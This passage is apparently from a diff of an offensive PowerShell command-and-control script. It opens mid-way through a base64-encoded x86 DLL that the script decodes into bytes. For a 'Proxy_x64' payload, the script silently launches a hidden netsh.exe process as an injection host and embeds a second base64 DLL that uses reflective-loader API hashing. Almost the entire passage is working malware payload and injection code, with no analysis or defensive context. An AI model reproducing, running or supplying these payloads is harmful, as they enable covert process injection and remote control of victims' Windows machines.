AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACxGb9ETuZAu/////8AAAAAAQAAALAqABAKAAAAAAAAAAQAAoAAAAAAAAAAAAAAAAD/////AAAAAAAAAAAAAAAAIAWTGQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACIAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAMAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/////AAAAAAAAAAAAAAAAgAAKCgoAAAD/////AAAAAFBQARABAAAAAAAAAAEAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADiARAAAAAAAAAAAAAAAAAA4gEQAAAAAAAAAAAAAAAAAOIBEAAAAA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0vPTU9gT6ePgAgAQAcAAAAcjCOMDYxcjK/MwI0HTQxNDc0AAAAMAEADAEAAEAxSDFUMVgxXDFoMWwxcDGMNpA2lDasNrA2tDbINsw20DbsNvA29Db4Nvw2IDckNyg3LDdAN0Q3SDdMN2A4ZDhoOGw4cDh0OHg4fDiAOIQ4iDiMOJA4lDiYOJw4oDikOKg4rDiwOLQ4uDi8OMA4xDjIOMw40DjUONg43DjgOOQ46DjsOPA49Dj4OPw4ADkEOQg5DDkQORQ5GDkcOSA5JDkoOSw5MDk0OTg5PDlAOUQ5SDlMOVA5VDlYOVw5YDlkOWg5bDlwOXQ5eDl8OYA5hDmIOYw5kDmUOZg5nDmgOaQ5qDmsObA5tDm4Obw5wDnEOcg5zDnQOdQ52DncOeA55DnoOew5AEABABgBAAAAMQgxEDEUMRgxHDEgMSQxKDEsMTQxODE8MUAxRDFIMUwxUDFcMWQxaDFsMXAxdDHgMuQy6DLsMvAy9DL4MvwyADMEMwgzDDMQMxQzGDMcMyAzJDMoMywzoDukO6g7rDuwO7Q7uDu8O8A7xDvIO8w70DvUO9g73DvgO+Q76DvsO/A79Dv4O/w7ADwEPAg8DDwQPBQ8GDwcPCA8JDwoPCw8MDw0PDg8PDxAPEQ8SDxUPFg8XDxgPGQ8aDxsPHA8dDx4PHw8gDyEPIg8jDyQPJQ8mDycPKA8pDyoPKw8sDy0PLg8vDzAPMQ8yDzMPNA81DzYPNw84DzkPOg87DzwPPQ8+Dz8PAA9BD0IPQw9ED0AAABQAQDQAQAAVDVcNWQ1bDV0NXw1hDWMNZQ1nDWkNaw1tDW8NcQ1zDXUNdw15DXsNfQ1/DUENgw2FDYcNiQ2LDY0Njw2RDZMNlQ2XDZkNmw2dDZ8NoQ2jDaUNpw2pDasNrQ2vDbENsw21DbcNuQ27Db0Nvw2BDcMNxQ3HDckNyw3NDc8N0Q3TDdUN1w3ZDdsN3Q3fDeEN4w3lDecN6Q3rDe0N7w3xDfMN9Q33DfkN+w39Df8NwQ4DDgUOBw4JDgsODQ4PDhEOEw4VDhcOGQ4bDh0OHw4hDiMOJQ4nDikOKw4tDi8OMQ4zDjUONw45DjsOPQ4/DgEOQw5FDkcOSQ5LDk0OTw5RDlMOVQ5XDlkOWw5dDl8OYQ5jDmUOZw5pDmsObQ5vDnEOcw51DncOeQ57Dn0Ofw5BDoMOhQ6HDokOiw6NDo8OkQ6TDpUOlw6ZDpsOnQ6fDqEOow6lDqcOqQ6rDq0Orw6xDrMOtQ63DrkOuw69Dr8OgQ7DDsUOxw7JDssOzQ7PDtEO0w7VDtcO2Q7bDt0O3w7hDuMO5Q7nDukO6w7tDu8O8Q7zDvUO9w75DvsO/Q7/DsEPAw8FDwcPCQ8LDw0PDw8RDxMPFQ8XDxkPGw8AGABANABAAB4NoA2iDaQNpg2oDaoNrA2uDbANsg20DbYNuA26DbwNvg2ADcINxA3GDcgNyg3MDc4N0A3SDdQN1g3YDdoN3A3eDeAN4g3kDeYN6A3qDewN7g3wDfIN9A32DfgN+g38Df4NwA4CDgQOBg4IDgoODA4ODhAOEg4UDhYOGA4aDhwOHg4gDiIOJA4mDigOKg4sDi4OMA4yDjQONg44DjoOPA4+DgAOQg5EDkYOSA5KDkwOTg5QDlIOVA5WDlgOWg5cDl4OYA5iDmQOZg5oDmoObA5uDnAOcg50DnYOeA56DnwOfg5ADoIOhA6GDogOig6MDo4OkA6SDpQOlg6YDpoOnA6eDqAOog6kDqYOqA6qDqwOrg6wDrIOtA62DrgOug68Dr4OgA7CDsQOxg7IDsoOzA7ODtAO0g7UDtYO2A7aDtwO3g7gDuIO5A7mDugO6g7sDu4O8A7yDvQO9g74DvoO/A7+DsAPAg8EDwYPCA8KDwwPDg8QDxIPFA8WDxgPGg8cDx4PIA8iDyQPJg8oDyoPLA8uDzAPMg80DzYPOA86DzwPPg8AD0IPRA9GD0gPSg9MD04PUA9SD1QPVg9YD1oPXA9eD2APYg9kD0AgAEAlAAAAGoxbjFyMXYxDDsUOxw7JDssOzQ7PDtEO0w7VDtcO2Q7bDt0O3w7hDuMO5Q7nDukO6w7tDu8O8Q7zDvUO9w75DvsO5Q8mDygPMA8xDzUPNg84Dz4PAg9DD0cPSA9JD0sPUQ9VD1YPWg9bD1wPXQ9fD2UPaQ9qD24Pbw9xD3cPew98D0APgQ+CD4QPig+AJABALwAAABkMXAxlDG0MbwxxDHMMdQx8DEQMiwyMDI4MkAySDJMMlQyaDJwMoQyjDKUMpwyoDKkMqwywDLcMuAy/DIAMwgzEDMYMyAzNDNQM1gzXDN4M4AzhDOcM6AzvDPAM9Az9DMANAg0NDQ4NEA0SDRQNFQ0XDRwNJA0sDTQNNg03DT4NBg1NDU4NVg1eDWENaA1wDXgNQA2IDZANmA2gDagNsA24DYANyA3QDdgN4A3oDe8N8A3AAAA4AEAWAAAABQwQDFwMYAxkDGgMbAxyDHUMdgx3DH4MfwxIDckNzg3PDdAN0Q3SDdMN1A3VDdYN1w3aDdsN3A3dDd4N3w3gDeEN7A3zDfoNxA4KDhEOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==" + [Byte[]] $PEBytes = [System.Convert]::FromBase64String($poshmsproxy_86) +} +if ($Payload -eq 'Proxy_x64') +{ + if ((!$procid) -and (!$procname) -and (!$NewProcess)) { + $pst = New-Object System.Diagnostics.ProcessStartInfo + $pst.WindowStyle = 'Hidden' + $pst.UseShellExecute = $False + $pst.CreateNoWindow = $True + $pst.FileName = "C:\Windows\System32\netsh.exe" + $Process = [System.Diagnostics.Process]::Start($pst) + [Int32]$ProcId = ($Process.Id).tostring() + } + echo "Using x64 proxy payload" + $poshmsproxy_64 = "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